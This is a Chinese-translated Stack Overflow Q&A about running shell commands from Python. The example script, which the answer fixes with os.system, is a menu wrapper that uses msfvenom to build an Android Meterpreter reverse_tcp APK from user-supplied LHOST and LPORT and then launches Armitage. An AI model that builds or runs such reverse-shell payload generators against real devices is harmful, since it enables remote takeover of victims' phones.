python - 将 py 和 sh 代码合并到一个文件中

标签 python linux bash shell sh

我想知道如何将 sh 和 py 代码合并到一个文件中,然后执行它。我应该以什么格式保存它以及执行它的命令?

这是我写的一个示例脚本,看看它并告诉我对它的修改

#test

Print("hello welcome to test")

print("to exploit android enter 1")
print("to exploit windows enter 2")

user_response = input(">")
if user_response == 1:
    print("you have seclected android")
    lhost = input("Please type in ur ip adress > ")
    lport = input("Please type in ur recommended port to use > ")
    print("the apk installable is placed on ur desktop")
    print("we are using reverse_tcp")
    print("the LHOST is",lhost)
    print("the LPORT is",lport)
    !msfvenom -p android/meterpreter/reverse_tcp LHOST=(how do i add lhost) LPORT=(how do i add lport) R> /root/Desktop
    print("the apk is located in ur Desktop")
    !service postgresql start
    !armitage
elif user_response == 2:
    bla ..
    bla .. 
    bla ..
    testing bla bla bla

最佳答案

可以。您必须导入 os 模块并像这样包装您的 shell 命令:os.system("ls -l")。 Source

因此对于您的代码,它看起来像这样:

#test

print("hello welcome to test")
import os
print("to exploit android enter 1")
print("to exploit windows enter 2")

user_response = input(">")
if user_response == str(1):
    print("you have seclected android")
    lhost = input("Please type in ur ip adress > ")
    lport = input("Please type in ur recommended port to use > ")
    print("the apk installable is placed on ur desktop")
    print("we are using reverse_tcp")
    print("the LHOST is",lhost)
    print("the LPORT is",lport)
    os.system("msfvenom -p android/meterpreter/reverse_tcp LHOST=" + str(lhost) + " LPORT=" + str(lport) + " R> /root/Desktop")
    print("the apk is located in ur Desktop")
    os.system("service postgresql start")
    os.system("armitage")
elif user_response == str(2):
    bla ..
    bla .. 
    bla ..
    testing bla bla bla

Linux 不关心文件扩展名,但它仍然是一个 python 脚本,所以你应该使用 .py。执行它的命令是“python3 scriptname.py”。请记住,您必须使用“chmod 755 scriptname.py”设置可执行权限

关于python - 将 py 和 sh 代码合并到一个文件中,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/38742739/

相关文章:

linux - 如何捕获多个命令的输出?

linux - Bash printf 前缀

Python PIL 用颜色轮廓填充图像

linux - Makefile 缺少分隔符

linux - 如何在 Linux 上从连接到 I2C 的摄像头读取流数据?

linux - 启动代码——用于 ARM 的 linux IRQ 中断处理程序

linux - shell脚本删除不同文件夹中除最后更新文件之外的所有文件

python - Python中RK4算法错误

python - 使用 Google Cloud Function 的 SSH 隧道

python - numpy.dot -> MemoryError, my_dot -> 非常慢,但有效。为什么?